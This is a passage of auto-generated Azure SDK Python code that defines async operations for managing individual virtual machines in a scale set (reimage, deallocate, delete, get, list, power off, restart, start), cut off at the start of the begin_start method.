# coding=utf-8 # -------------------------------------------------------------------------- # Copyright (c) Microsoft Corporation. All rights reserved. # Licensed under the MIT License. See License.txt in the project root for license information. # Code generated by Microsoft (R) AutoRest Code Generator. # Changes may cause incorrect behavior and will be lost if the code is regenerated. # -------------------------------------------------------------------------- import functools from typing import Any, AsyncIterable, Callable, Dict, Generic, Optional, TypeVar, Union import warnings from azure.core.async_paging import AsyncItemPaged, AsyncList from azure.core.exceptions import ClientAuthenticationError, HttpResponseError, ResourceExistsError, ResourceNotFoundError, map_error from azure.core.pipeline import PipelineResponse from azure.core.pipeline.transport import AsyncHttpResponse from azure.core.polling import AsyncLROPoller, AsyncNoPolling, AsyncPollingMethod from azure.core.rest import HttpRequest from azure.core.tracing.decorator import distributed_trace from azure.core.tracing.decorator_async import distributed_trace_async from azure.mgmt.core.exceptions import ARMErrorFormat from azure.mgmt.core.polling.async_arm_polling import AsyncARMPolling from ... import models as _models from ..._vendor import _convert_request from ...operations._virtual_machine_scale_set_vms_operations import build_deallocate_request_initial, build_delete_request_initial, build_get_instance_view_request, build_get_request, build_list_request, build_power_off_request_initial, build_reimage_all_request_initial, build_reimage_request_initial, build_restart_request_initial, build_start_request_initial T = TypeVar('T') ClsType = Optional[Callable[[PipelineResponse[HttpRequest, AsyncHttpResponse], T, Dict[str, Any]], Any]] class VirtualMachineScaleSetVMsOperations: """VirtualMachineScaleSetVMsOperations async operations. You should not instantiate this class directly. Instead, you should create a Client instance that instantiates it for you and attaches it as an attribute. :ivar models: Alias to model classes used in this operation group. :type models: ~azure.mgmt.compute.v2017_03_30.models :param client: Client for service requests. :param config: Configuration of service client. :param serializer: An object model serializer. :param deserializer: An object model deserializer. """ models = _models def __init__(self, client, config, serializer, deserializer) -> None: self._client = client self._serialize = serializer self._deserialize = deserializer self._config = config async def _reimage_initial( self, resource_group_name: str, vm_scale_set_name: str, instance_id: str, **kwargs: Any ) -> Optional["_models.OperationStatusResponse"]: cls = kwargs.pop('cls', None) # type: ClsType[Optional["_models.OperationStatusResponse"]] error_map = { 401: ClientAuthenticationError, 404: ResourceNotFoundError, 409: ResourceExistsError } error_map.update(kwargs.pop('error_map', {})) request = build_reimage_request_initial( resource_group_name=resource_group_name, vm_scale_set_name=vm_scale_set_name, instance_id=instance_id, subscription_id=self._config.subscription_id, template_url=self._reimage_initial.metadata['url'], ) request = _convert_request(request) request.url = self._client.format_url(request.url) pipeline_response = await self._client._pipeline.run(request, stream=False, **kwargs) response = pipeline_response.http_response if response.status_code not in [200, 202]: map_error(status_code=response.status_code, response=response, error_map=error_map) raise HttpResponseError(response=response, error_format=ARMErrorFormat) deserialized = None if response.status_code == 200: deserialized = self._deserialize('OperationStatusResponse', pipeline_response) if cls: return cls(pipeline_response, deserialized, {}) return deserialized _reimage_initial.metadata = {'url': '/subscriptions/{subscriptionId}/resourceGroups/{resourceGroupName}/providers/Microsoft.Compute/virtualMachineScaleSets/{vmScaleSetName}/virtualmachines/{instanceId}/reimage'} # type: ignore @distributed_trace_async async def begin_reimage( self, resource_group_name: str, vm_scale_set_name: str, instance_id: str, **kwargs: Any ) -> AsyncLROPoller["_models.OperationStatusResponse"]: """Reimages (upgrade the operating system) a specific virtual machine in a VM scale set. :param resource_group_name: The name of the resource group. :type resource_group_name: str :param vm_scale_set_name: The name of the VM scale set. :type vm_scale_set_name: str :param instance_id: The instance ID of the virtual machine. :type instance_id: str :keyword callable cls: A custom type or function that will be passed the direct response :keyword str continuation_token: A continuation token to restart a poller from a saved state. :keyword polling: By default, your polling method will be AsyncARMPolling. Pass in False for this operation to not poll, or pass in your own initialized polling object for a personal polling strategy. :paramtype polling: bool or ~azure.core.polling.AsyncPollingMethod :keyword int polling_interval: Default waiting time between two polls for LRO operations if no Retry-After header is present. :return: An instance of AsyncLROPoller that returns either OperationStatusResponse or the result of cls(response) :rtype: ~azure.core.polling.AsyncLROPoller[~azure.mgmt.compute.v2017_03_30.models.OperationStatusResponse] :raises: ~azure.core.exceptions.HttpResponseError """ polling = kwargs.pop('polling', True) # type: Union[bool, azure.core.polling.AsyncPollingMethod] cls = kwargs.pop('cls', None) # type: ClsType["_models.OperationStatusResponse"] lro_delay = kwargs.pop( 'polling_interval', self._config.polling_interval ) cont_token = kwargs.pop('continuation_token', None) # type: Optional[str] if cont_token is None: raw_result = await self._reimage_initial( resource_group_name=resource_group_name, vm_scale_set_name=vm_scale_set_name, instance_id=instance_id, cls=lambda x,y,z: x, **kwargs ) kwargs.pop('error_map', None) def get_long_running_output(pipeline_response): response = pipeline_response.http_response deserialized = self._deserialize('OperationStatusResponse', pipeline_response) if cls: return cls(pipeline_response, deserialized, {}) return deserialized if polling is True: polling_method = AsyncARMPolling(lro_delay, lro_options={'final-state-via': 'azure-async-operation'}, **kwargs) elif polling is False: polling_method = AsyncNoPolling() else: polling_method = polling if cont_token: return AsyncLROPoller.from_continuation_token( polling_method=polling_method, continuation_token=cont_token, client=self._client, deserialization_callback=get_long_running_output ) else: return AsyncLROPoller(self._client, raw_result, get_long_running_output, polling_method) begin_reimage.metadata = {'url': '/subscriptions/{subscriptionId}/resourceGroups/{resourceGroupName}/providers/Microsoft.Compute/virtualMachineScaleSets/{vmScaleSetName}/virtualmachines/{instanceId}/reimage'} # type: ignore async def _reimage_all_initial( self, resource_group_name: str, vm_scale_set_name: str, instance_id: str, **kwargs: Any ) -> Optional["_models.OperationStatusResponse"]: cls = kwargs.pop('cls', None) # type: ClsType[Optional["_models.OperationStatusResponse"]] error_map = { 401: ClientAuthenticationError, 404: ResourceNotFoundError, 409: ResourceExistsError } error_map.update(kwargs.pop('error_map', {})) request = build_reimage_all_request_initial( resource_group_name=resource_group_name, vm_scale_set_name=vm_scale_set_name, instance_id=instance_id, subscription_id=self._config.subscription_id, template_url=self._reimage_all_initial.metadata['url'], ) request = _convert_request(request) request.url = self._client.format_url(request.url) pipeline_response = await self._client._pipeline.run(request, stream=False, **kwargs) response = pipeline_response.http_response if response.status_code not in [200, 202]: map_error(status_code=response.status_code, response=response, error_map=error_map) raise HttpResponseError(response=response, error_format=ARMErrorFormat) deserialized = None if response.status_code == 200: deserialized = self._deserialize('OperationStatusResponse', pipeline_response) if cls: return cls(pipeline_response, deserialized, {}) return deserialized _reimage_all_initial.metadata = {'url': '/subscriptions/{subscriptionId}/resourceGroups/{resourceGroupName}/providers/Microsoft.Compute/virtualMachineScaleSets/{vmScaleSetName}/virtualmachines/{instanceId}/reimageall'} # type: ignore @distributed_trace_async async def begin_reimage_all( self, resource_group_name: str, vm_scale_set_name: str, instance_id: str, **kwargs: Any ) -> AsyncLROPoller["_models.OperationStatusResponse"]: """Allows you to re-image all the disks ( including data disks ) in the a VM scale set instance. This operation is only supported for managed disks. :param resource_group_name: The name of the resource group. :type resource_group_name: str :param vm_scale_set_name: The name of the VM scale set. :type vm_scale_set_name: str :param instance_id: The instance ID of the virtual machine. :type instance_id: str :keyword callable cls: A custom type or function that will be passed the direct response :keyword str continuation_token: A continuation token to restart a poller from a saved state. :keyword polling: By default, your polling method will be AsyncARMPolling. Pass in False for this operation to not poll, or pass in your own initialized polling object for a personal polling strategy. :paramtype polling: bool or ~azure.core.polling.AsyncPollingMethod :keyword int polling_interval: Default waiting time between two polls for LRO operations if no Retry-After header is present. :return: An instance of AsyncLROPoller that returns either OperationStatusResponse or the result of cls(response) :rtype: ~azure.core.polling.AsyncLROPoller[~azure.mgmt.compute.v2017_03_30.models.OperationStatusResponse] :raises: ~azure.core.exceptions.HttpResponseError """ polling = kwargs.pop('polling', True) # type: Union[bool, azure.core.polling.AsyncPollingMethod] cls = kwargs.pop('cls', None) # type: ClsType["_models.OperationStatusResponse"] lro_delay = kwargs.pop( 'polling_interval', self._config.polling_interval ) cont_token = kwargs.pop('continuation_token', None) # type: Optional[str] if cont_token is None: raw_result = await self._reimage_all_initial( resource_group_name=resource_group_name, vm_scale_set_name=vm_scale_set_name, instance_id=instance_id, cls=lambda x,y,z: x, **kwargs ) kwargs.pop('error_map', None) def get_long_running_output(pipeline_response): response = pipeline_response.http_response deserialized = self._deserialize('OperationStatusResponse', pipeline_response) if cls: return cls(pipeline_response, deserialized, {}) return deserialized if polling is True: polling_method = AsyncARMPolling(lro_delay, lro_options={'final-state-via': 'azure-async-operation'}, **kwargs) elif polling is False: polling_method = AsyncNoPolling() else: polling_method = polling if cont_token: return AsyncLROPoller.from_continuation_token( polling_method=polling_method, continuation_token=cont_token, client=self._client, deserialization_callback=get_long_running_output ) else: return AsyncLROPoller(self._client, raw_result, get_long_running_output, polling_method) begin_reimage_all.metadata = {'url': '/subscriptions/{subscriptionId}/resourceGroups/{resourceGroupName}/providers/Microsoft.Compute/virtualMachineScaleSets/{vmScaleSetName}/virtualmachines/{instanceId}/reimageall'} # type: ignore async def _deallocate_initial( self, resource_group_name: str, vm_scale_set_name: str, instance_id: str, **kwargs: Any ) -> Optional["_models.OperationStatusResponse"]: cls = kwargs.pop('cls', None) # type: ClsType[Optional["_models.OperationStatusResponse"]] error_map = { 401: ClientAuthenticationError, 404: ResourceNotFoundError, 409: ResourceExistsError } error_map.update(kwargs.pop('error_map', {})) request = build_deallocate_request_initial( resource_group_name=resource_group_name, vm_scale_set_name=vm_scale_set_name, instance_id=instance_id, subscription_id=self._config.subscription_id, template_url=self._deallocate_initial.metadata['url'], ) request = _convert_request(request) request.url = self._client.format_url(request.url) pipeline_response = await self._client._pipeline.run(request, stream=False, **kwargs) response = pipeline_response.http_response if response.status_code not in [200, 202]: map_error(status_code=response.status_code, response=response, error_map=error_map) raise HttpResponseError(response=response, error_format=ARMErrorFormat) deserialized = None if response.status_code == 200: deserialized = self._deserialize('OperationStatusResponse', pipeline_response) if cls: return cls(pipeline_response, deserialized, {}) return deserialized _deallocate_initial.metadata = {'url': '/subscriptions/{subscriptionId}/resourceGroups/{resourceGroupName}/providers/Microsoft.Compute/virtualMachineScaleSets/{vmScaleSetName}/virtualmachines/{instanceId}/deallocate'} # type: ignore @distributed_trace_async async def begin_deallocate( self, resource_group_name: str, vm_scale_set_name: str, instance_id: str, **kwargs: Any ) -> AsyncLROPoller["_models.OperationStatusResponse"]: """Deallocates a specific virtual machine in a VM scale set. Shuts down the virtual machine and releases the compute resources it uses. You are not billed for the compute resources of this virtual machine once it is deallocated. :param resource_group_name: The name of the resource group. :type resource_group_name: str :param vm_scale_set_name: The name of the VM scale set. :type vm_scale_set_name: str :param instance_id: The instance ID of the virtual machine. :type instance_id: str :keyword callable cls: A custom type or function that will be passed the direct response :keyword str continuation_token: A continuation token to restart a poller from a saved state. :keyword polling: By default, your polling method will be AsyncARMPolling. Pass in False for this operation to not poll, or pass in your own initialized polling object for a personal polling strategy. :paramtype polling: bool or ~azure.core.polling.AsyncPollingMethod :keyword int polling_interval: Default waiting time between two polls for LRO operations if no Retry-After header is present. :return: An instance of AsyncLROPoller that returns either OperationStatusResponse or the result of cls(response) :rtype: ~azure.core.polling.AsyncLROPoller[~azure.mgmt.compute.v2017_03_30.models.OperationStatusResponse] :raises: ~azure.core.exceptions.HttpResponseError """ polling = kwargs.pop('polling', True) # type: Union[bool, azure.core.polling.AsyncPollingMethod] cls = kwargs.pop('cls', None) # type: ClsType["_models.OperationStatusResponse"] lro_delay = kwargs.pop( 'polling_interval', self._config.polling_interval ) cont_token = kwargs.pop('continuation_token', None) # type: Optional[str] if cont_token is None: raw_result = await self._deallocate_initial( resource_group_name=resource_group_name, vm_scale_set_name=vm_scale_set_name, instance_id=instance_id, cls=lambda x,y,z: x, **kwargs ) kwargs.pop('error_map', None) def get_long_running_output(pipeline_response): response = pipeline_response.http_response deserialized = self._deserialize('OperationStatusResponse', pipeline_response) if cls: return cls(pipeline_response, deserialized, {}) return deserialized if polling is True: polling_method = AsyncARMPolling(lro_delay, lro_options={'final-state-via': 'azure-async-operation'}, **kwargs) elif polling is False: polling_method = AsyncNoPolling() else: polling_method = polling if cont_token: return AsyncLROPoller.from_continuation_token( polling_method=polling_method, continuation_token=cont_token, client=self._client, deserialization_callback=get_long_running_output ) else: return AsyncLROPoller(self._client, raw_result, get_long_running_output, polling_method) begin_deallocate.metadata = {'url': '/subscriptions/{subscriptionId}/resourceGroups/{resourceGroupName}/providers/Microsoft.Compute/virtualMachineScaleSets/{vmScaleSetName}/virtualmachines/{instanceId}/deallocate'} # type: ignore async def _delete_initial( self, resource_group_name: str, vm_scale_set_name: str, instance_id: str, **kwargs: Any ) -> Optional["_models.OperationStatusResponse"]: cls = kwargs.pop('cls', None) # type: ClsType[Optional["_models.OperationStatusResponse"]] error_map = { 401: ClientAuthenticationError, 404: ResourceNotFoundError, 409: ResourceExistsError } error_map.update(kwargs.pop('error_map', {})) request = build_delete_request_initial( resource_group_name=resource_group_name, vm_scale_set_name=vm_scale_set_name, instance_id=instance_id, subscription_id=self._config.subscription_id, template_url=self._delete_initial.metadata['url'], ) request = _convert_request(request) request.url = self._client.format_url(request.url) pipeline_response = await self._client._pipeline.run(request, stream=False, **kwargs) response = pipeline_response.http_response if response.status_code not in [200, 202, 204]: map_error(status_code=response.status_code, response=response, error_map=error_map) raise HttpResponseError(response=response, error_format=ARMErrorFormat) deserialized = None if response.status_code == 200: deserialized = self._deserialize('OperationStatusResponse', pipeline_response) if cls: return cls(pipeline_response, deserialized, {}) return deserialized _delete_initial.metadata = {'url': '/subscriptions/{subscriptionId}/resourceGroups/{resourceGroupName}/providers/Microsoft.Compute/virtualMachineScaleSets/{vmScaleSetName}/virtualmachines/{instanceId}'} # type: ignore @distributed_trace_async async def begin_delete( self, resource_group_name: str, vm_scale_set_name: str, instance_id: str, **kwargs: Any ) -> AsyncLROPoller["_models.OperationStatusResponse"]: """Deletes a virtual machine from a VM scale set. :param resource_group_name: The name of the resource group. :type resource_group_name: str :param vm_scale_set_name: The name of the VM scale set. :type vm_scale_set_name: str :param instance_id: The instance ID of the virtual machine. :type instance_id: str :keyword callable cls: A custom type or function that will be passed the direct response :keyword str continuation_token: A continuation token to restart a poller from a saved state. :keyword polling: By default, your polling method will be AsyncARMPolling. Pass in False for this operation to not poll, or pass in your own initialized polling object for a personal polling strategy. :paramtype polling: bool or ~azure.core.polling.AsyncPollingMethod :keyword int polling_interval: Default waiting time between two polls for LRO operations if no Retry-After header is present. :return: An instance of AsyncLROPoller that returns either OperationStatusResponse or the result of cls(response) :rtype: ~azure.core.polling.AsyncLROPoller[~azure.mgmt.compute.v2017_03_30.models.OperationStatusResponse] :raises: ~azure.core.exceptions.HttpResponseError """ polling = kwargs.pop('polling', True) # type: Union[bool, azure.core.polling.AsyncPollingMethod] cls = kwargs.pop('cls', None) # type: ClsType["_models.OperationStatusResponse"] lro_delay = kwargs.pop( 'polling_interval', self._config.polling_interval ) cont_token = kwargs.pop('continuation_token', None) # type: Optional[str] if cont_token is None: raw_result = await self._delete_initial( resource_group_name=resource_group_name, vm_scale_set_name=vm_scale_set_name, instance_id=instance_id, cls=lambda x,y,z: x, **kwargs ) kwargs.pop('error_map', None) def get_long_running_output(pipeline_response): response = pipeline_response.http_response deserialized = self._deserialize('OperationStatusResponse', pipeline_response) if cls: return cls(pipeline_response, deserialized, {}) return deserialized if polling is True: polling_method = AsyncARMPolling(lro_delay, **kwargs) elif polling is False: polling_method = AsyncNoPolling() else: polling_method = polling if cont_token: return AsyncLROPoller.from_continuation_token( polling_method=polling_method, continuation_token=cont_token, client=self._client, deserialization_callback=get_long_running_output ) else: return AsyncLROPoller(self._client, raw_result, get_long_running_output, polling_method) begin_delete.metadata = {'url': '/subscriptions/{subscriptionId}/resourceGroups/{resourceGroupName}/providers/Microsoft.Compute/virtualMachineScaleSets/{vmScaleSetName}/virtualmachines/{instanceId}'} # type: ignore @distributed_trace_async async def get( self, resource_group_name: str, vm_scale_set_name: str, instance_id: str, **kwargs: Any ) -> "_models.VirtualMachineScaleSetVM": """Gets a virtual machine from a VM scale set. :param resource_group_name: The name of the resource group. :type resource_group_name: str :param vm_scale_set_name: The name of the VM scale set. :type vm_scale_set_name: str :param instance_id: The instance ID of the virtual machine. :type instance_id: str :keyword callable cls: A custom type or function that will be passed the direct response :return: VirtualMachineScaleSetVM, or the result of cls(response) :rtype: ~azure.mgmt.compute.v2017_03_30.models.VirtualMachineScaleSetVM :raises: ~azure.core.exceptions.HttpResponseError """ cls = kwargs.pop('cls', None) # type: ClsType["_models.VirtualMachineScaleSetVM"] error_map = { 401: ClientAuthenticationError, 404: ResourceNotFoundError, 409: ResourceExistsError } error_map.update(kwargs.pop('error_map', {})) request = build_get_request( resource_group_name=resource_group_name, vm_scale_set_name=vm_scale_set_name, instance_id=instance_id, subscription_id=self._config.subscription_id, template_url=self.get.metadata['url'], ) request = _convert_request(request) request.url = self._client.format_url(request.url) pipeline_response = await self._client._pipeline.run(request, stream=False, **kwargs) response = pipeline_response.http_response if response.status_code not in [200]: map_error(status_code=response.status_code, response=response, error_map=error_map) raise HttpResponseError(response=response, error_format=ARMErrorFormat) deserialized = self._deserialize('VirtualMachineScaleSetVM', pipeline_response) if cls: return cls(pipeline_response, deserialized, {}) return deserialized get.metadata = {'url': '/subscriptions/{subscriptionId}/resourceGroups/{resourceGroupName}/providers/Microsoft.Compute/virtualMachineScaleSets/{vmScaleSetName}/virtualmachines/{instanceId}'} # type: ignore @distributed_trace_async async def get_instance_view( self, resource_group_name: str, vm_scale_set_name: str, instance_id: str, **kwargs: Any ) -> "_models.VirtualMachineScaleSetVMInstanceView": """Gets the status of a virtual machine from a VM scale set. :param resource_group_name: The name of the resource group. :type resource_group_name: str :param vm_scale_set_name: The name of the VM scale set. :type vm_scale_set_name: str :param instance_id: The instance ID of the virtual machine. :type instance_id: str :keyword callable cls: A custom type or function that will be passed the direct response :return: VirtualMachineScaleSetVMInstanceView, or the result of cls(response) :rtype: ~azure.mgmt.compute.v2017_03_30.models.VirtualMachineScaleSetVMInstanceView :raises: ~azure.core.exceptions.HttpResponseError """ cls = kwargs.pop('cls', None) # type: ClsType["_models.VirtualMachineScaleSetVMInstanceView"] error_map = { 401: ClientAuthenticationError, 404: ResourceNotFoundError, 409: ResourceExistsError } error_map.update(kwargs.pop('error_map', {})) request = build_get_instance_view_request( resource_group_name=resource_group_name, vm_scale_set_name=vm_scale_set_name, instance_id=instance_id, subscription_id=self._config.subscription_id, template_url=self.get_instance_view.metadata['url'], ) request = _convert_request(request) request.url = self._client.format_url(request.url) pipeline_response = await self._client._pipeline.run(request, stream=False, **kwargs) response = pipeline_response.http_response if response.status_code not in [200]: map_error(status_code=response.status_code, response=response, error_map=error_map) raise HttpResponseError(response=response, error_format=ARMErrorFormat) deserialized = self._deserialize('VirtualMachineScaleSetVMInstanceView', pipeline_response) if cls: return cls(pipeline_response, deserialized, {}) return deserialized get_instance_view.metadata = {'url': '/subscriptions/{subscriptionId}/resourceGroups/{resourceGroupName}/providers/Microsoft.Compute/virtualMachineScaleSets/{vmScaleSetName}/virtualmachines/{instanceId}/instanceView'} # type: ignore @distributed_trace def list( self, resource_group_name: str, virtual_machine_scale_set_name: str, filter: Optional[str] = None, select: Optional[str] = None, expand: Optional[str] = None, **kwargs: Any ) -> AsyncIterable["_models.VirtualMachineScaleSetVMListResult"]: """Gets a list of all virtual machines in a VM scale sets. :param resource_group_name: The name of the resource group. :type resource_group_name: str :param virtual_machine_scale_set_name: The name of the VM scale set. :type virtual_machine_scale_set_name: str :param filter: The filter to apply to the operation. Allowed values are 'startswith(instanceView/statuses/code, 'PowerState') eq true', 'properties/latestModelApplied eq true', 'properties/latestModelApplied eq false'. :type filter: str :param select: The list parameters. Allowed values are 'instanceView', 'instanceView/statuses'. :type select: str :param expand: The expand expression to apply to the operation. Allowed values are 'instanceView'. :type expand: str :keyword callable cls: A custom type or function that will be passed the direct response :return: An iterator like instance of either VirtualMachineScaleSetVMListResult or the result of cls(response) :rtype: ~azure.core.async_paging.AsyncItemPaged[~azure.mgmt.compute.v2017_03_30.models.VirtualMachineScaleSetVMListResult] :raises: ~azure.core.exceptions.HttpResponseError """ cls = kwargs.pop('cls', None) # type: ClsType["_models.VirtualMachineScaleSetVMListResult"] error_map = { 401: ClientAuthenticationError, 404: ResourceNotFoundError, 409: ResourceExistsError } error_map.update(kwargs.pop('error_map', {})) def prepare_request(next_link=None): if not next_link: request = build_list_request( resource_group_name=resource_group_name, virtual_machine_scale_set_name=virtual_machine_scale_set_name, subscription_id=self._config.subscription_id, filter=filter, select=select, expand=expand, template_url=self.list.metadata['url'], ) request = _convert_request(request) request.url = self._client.format_url(request.url) else: request = build_list_request( resource_group_name=resource_group_name, virtual_machine_scale_set_name=virtual_machine_scale_set_name, subscription_id=self._config.subscription_id, filter=filter, select=select, expand=expand, template_url=next_link, ) request = _convert_request(request) request.url = self._client.format_url(request.url) request.method = "GET" return request async def extract_data(pipeline_response): deserialized = self._deserialize("VirtualMachineScaleSetVMListResult", pipeline_response) list_of_elem = deserialized.value if cls: list_of_elem = cls(list_of_elem) return deserialized.next_link or None, AsyncList(list_of_elem) async def get_next(next_link=None): request = prepare_request(next_link) pipeline_response = await self._client._pipeline.run(request, stream=False, **kwargs) response = pipeline_response.http_response if response.status_code not in [200]: map_error(status_code=response.status_code, response=response, error_map=error_map) raise HttpResponseError(response=response, error_format=ARMErrorFormat) return pipeline_response return AsyncItemPaged( get_next, extract_data ) list.metadata = {'url': '/subscriptions/{subscriptionId}/resourceGroups/{resourceGroupName}/providers/Microsoft.Compute/virtualMachineScaleSets/{virtualMachineScaleSetName}/virtualMachines'} # type: ignore async def _power_off_initial( self, resource_group_name: str, vm_scale_set_name: str, instance_id: str, **kwargs: Any ) -> Optional["_models.OperationStatusResponse"]: cls = kwargs.pop('cls', None) # type: ClsType[Optional["_models.OperationStatusResponse"]] error_map = { 401: ClientAuthenticationError, 404: ResourceNotFoundError, 409: ResourceExistsError } error_map.update(kwargs.pop('error_map', {})) request = build_power_off_request_initial( resource_group_name=resource_group_name, vm_scale_set_name=vm_scale_set_name, instance_id=instance_id, subscription_id=self._config.subscription_id, template_url=self._power_off_initial.metadata['url'], ) request = _convert_request(request) request.url = self._client.format_url(request.url) pipeline_response = await self._client._pipeline.run(request, stream=False, **kwargs) response = pipeline_response.http_response if response.status_code not in [200, 202]: map_error(status_code=response.status_code, response=response, error_map=error_map) raise HttpResponseError(response=response, error_format=ARMErrorFormat) deserialized = None if response.status_code == 200: deserialized = self._deserialize('OperationStatusResponse', pipeline_response) if cls: return cls(pipeline_response, deserialized, {}) return deserialized _power_off_initial.metadata = {'url': '/subscriptions/{subscriptionId}/resourceGroups/{resourceGroupName}/providers/Microsoft.Compute/virtualMachineScaleSets/{vmScaleSetName}/virtualmachines/{instanceId}/poweroff'} # type: ignore @distributed_trace_async async def begin_power_off( self, resource_group_name: str, vm_scale_set_name: str, instance_id: str, **kwargs: Any ) -> AsyncLROPoller["_models.OperationStatusResponse"]: """Power off (stop) a virtual machine in a VM scale set. Note that resources are still attached and you are getting charged for the resources. Instead, use deallocate to release resources and avoid charges. :param resource_group_name: The name of the resource group. :type resource_group_name: str :param vm_scale_set_name: The name of the VM scale set. :type vm_scale_set_name: str :param instance_id: The instance ID of the virtual machine. :type instance_id: str :keyword callable cls: A custom type or function that will be passed the direct response :keyword str continuation_token: A continuation token to restart a poller from a saved state. :keyword polling: By default, your polling method will be AsyncARMPolling. Pass in False for this operation to not poll, or pass in your own initialized polling object for a personal polling strategy. :paramtype polling: bool or ~azure.core.polling.AsyncPollingMethod :keyword int polling_interval: Default waiting time between two polls for LRO operations if no Retry-After header is present. :return: An instance of AsyncLROPoller that returns either OperationStatusResponse or the result of cls(response) :rtype: ~azure.core.polling.AsyncLROPoller[~azure.mgmt.compute.v2017_03_30.models.OperationStatusResponse] :raises: ~azure.core.exceptions.HttpResponseError """ polling = kwargs.pop('polling', True) # type: Union[bool, azure.core.polling.AsyncPollingMethod] cls = kwargs.pop('cls', None) # type: ClsType["_models.OperationStatusResponse"] lro_delay = kwargs.pop( 'polling_interval', self._config.polling_interval ) cont_token = kwargs.pop('continuation_token', None) # type: Optional[str] if cont_token is None: raw_result = await self._power_off_initial( resource_group_name=resource_group_name, vm_scale_set_name=vm_scale_set_name, instance_id=instance_id, cls=lambda x,y,z: x, **kwargs ) kwargs.pop('error_map', None) def get_long_running_output(pipeline_response): response = pipeline_response.http_response deserialized = self._deserialize('OperationStatusResponse', pipeline_response) if cls: return cls(pipeline_response, deserialized, {}) return deserialized if polling is True: polling_method = AsyncARMPolling(lro_delay, lro_options={'final-state-via': 'azure-async-operation'}, **kwargs) elif polling is False: polling_method = AsyncNoPolling() else: polling_method = polling if cont_token: return AsyncLROPoller.from_continuation_token( polling_method=polling_method, continuation_token=cont_token, client=self._client, deserialization_callback=get_long_running_output ) else: return AsyncLROPoller(self._client, raw_result, get_long_running_output, polling_method) begin_power_off.metadata = {'url': '/subscriptions/{subscriptionId}/resourceGroups/{resourceGroupName}/providers/Microsoft.Compute/virtualMachineScaleSets/{vmScaleSetName}/virtualmachines/{instanceId}/poweroff'} # type: ignore async def _restart_initial( self, resource_group_name: str, vm_scale_set_name: str, instance_id: str, **kwargs: Any ) -> Optional["_models.OperationStatusResponse"]: cls = kwargs.pop('cls', None) # type: ClsType[Optional["_models.OperationStatusResponse"]] error_map = { 401: ClientAuthenticationError, 404: ResourceNotFoundError, 409: ResourceExistsError } error_map.update(kwargs.pop('error_map', {})) request = build_restart_request_initial( resource_group_name=resource_group_name, vm_scale_set_name=vm_scale_set_name, instance_id=instance_id, subscription_id=self._config.subscription_id, template_url=self._restart_initial.metadata['url'], ) request = _convert_request(request) request.url = self._client.format_url(request.url) pipeline_response = await self._client._pipeline.run(request, stream=False, **kwargs) response = pipeline_response.http_response if response.status_code not in [200, 202]: map_error(status_code=response.status_code, response=response, error_map=error_map) raise HttpResponseError(response=response, error_format=ARMErrorFormat) deserialized = None if response.status_code == 200: deserialized = self._deserialize('OperationStatusResponse', pipeline_response) if cls: return cls(pipeline_response, deserialized, {}) return deserialized _restart_initial.metadata = {'url': '/subscriptions/{subscriptionId}/resourceGroups/{resourceGroupName}/providers/Microsoft.Compute/virtualMachineScaleSets/{vmScaleSetName}/virtualmachines/{instanceId}/restart'} # type: ignore @distributed_trace_async async def begin_restart( self, resource_group_name: str, vm_scale_set_name: str, instance_id: str, **kwargs: Any ) -> AsyncLROPoller["_models.OperationStatusResponse"]: """Restarts a virtual machine in a VM scale set. :param resource_group_name: The name of the resource group. :type resource_group_name: str :param vm_scale_set_name: The name of the VM scale set. :type vm_scale_set_name: str :param instance_id: The instance ID of the virtual machine. :type instance_id: str :keyword callable cls: A custom type or function that will be passed the direct response :keyword str continuation_token: A continuation token to restart a poller from a saved state. :keyword polling: By default, your polling method will be AsyncARMPolling. Pass in False for this operation to not poll, or pass in your own initialized polling object for a personal polling strategy. :paramtype polling: bool or ~azure.core.polling.AsyncPollingMethod :keyword int polling_interval: Default waiting time between two polls for LRO operations if no Retry-After header is present. :return: An instance of AsyncLROPoller that returns either OperationStatusResponse or the result of cls(response) :rtype: ~azure.core.polling.AsyncLROPoller[~azure.mgmt.compute.v2017_03_30.models.OperationStatusResponse] :raises: ~azure.core.exceptions.HttpResponseError """ polling = kwargs.pop('polling', True) # type: Union[bool, azure.core.polling.AsyncPollingMethod] cls = kwargs.pop('cls', None) # type: ClsType["_models.OperationStatusResponse"] lro_delay = kwargs.pop( 'polling_interval', self._config.polling_interval ) cont_token = kwargs.pop('continuation_token', None) # type: Optional[str] if cont_token is None: raw_result = await self._restart_initial( resource_group_name=resource_group_name, vm_scale_set_name=vm_scale_set_name, instance_id=instance_id, cls=lambda x,y,z: x, **kwargs ) kwargs.pop('error_map', None) def get_long_running_output(pipeline_response): response = pipeline_response.http_response deserialized = self._deserialize('OperationStatusResponse', pipeline_response) if cls: return cls(pipeline_response, deserialized, {}) return deserialized if polling is True: polling_method = AsyncARMPolling(lro_delay, lro_options={'final-state-via': 'azure-async-operation'}, **kwargs) elif polling is False: polling_method = AsyncNoPolling() else: polling_method = polling if cont_token: return AsyncLROPoller.from_continuation_token( polling_method=polling_method, continuation_token=cont_token, client=self._client, deserialization_callback=get_long_running_output ) else: return AsyncLROPoller(self._client, raw_result, get_long_running_output, polling_method) begin_restart.metadata = {'url': '/subscriptions/{subscriptionId}/resourceGroups/{resourceGroupName}/providers/Microsoft.Compute/virtualMachineScaleSets/{vmScaleSetName}/virtualmachines/{instanceId}/restart'} # type: ignore async def _start_initial( self, resource_group_name: str, vm_scale_set_name: str, instance_id: str, **kwargs: Any ) -> Optional["_models.OperationStatusResponse"]: cls = kwargs.pop('cls', None) # type: ClsType[Optional["_models.OperationStatusResponse"]] error_map = { 401: ClientAuthenticationError, 404: ResourceNotFoundError, 409: ResourceExistsError } error_map.update(kwargs.pop('error_map', {})) request = build_start_request_initial( resource_group_name=resource_group_name, vm_scale_set_name=vm_scale_set_name, instance_id=instance_id, subscription_id=self._config.subscription_id, template_url=self._start_initial.metadata['url'], ) request = _convert_request(request) request.url = self._client.format_url(request.url) pipeline_response = await self._client._pipeline.run(request, stream=False, **kwargs) response = pipeline_response.http_response if response.status_code not in [200, 202]: map_error(status_code=response.status_code, response=response, error_map=error_map) raise HttpResponseError(response=response, error_format=ARMErrorFormat) deserialized = None if response.status_code == 200: deserialized = self._deserialize('OperationStatusResponse', pipeline_response) if cls: return cls(pipeline_response, deserialized, {}) return deserialized _start_initial.metadata = {'url': '/subscriptions/{subscriptionId}/resourceGroups/{resourceGroupName}/providers/Microsoft.Compute/virtualMachineScaleSets/{vmScaleSetName}/virtualmachines/{instanceId}/start'} # type: ignore @distributed_trace_async async def begin_start( self, resource_group_name: str, vm_scale_set_name: str, instance_id: str, **kwargs: Any ) -> AsyncLROPoller["_models.OperationStatusResponse"]: 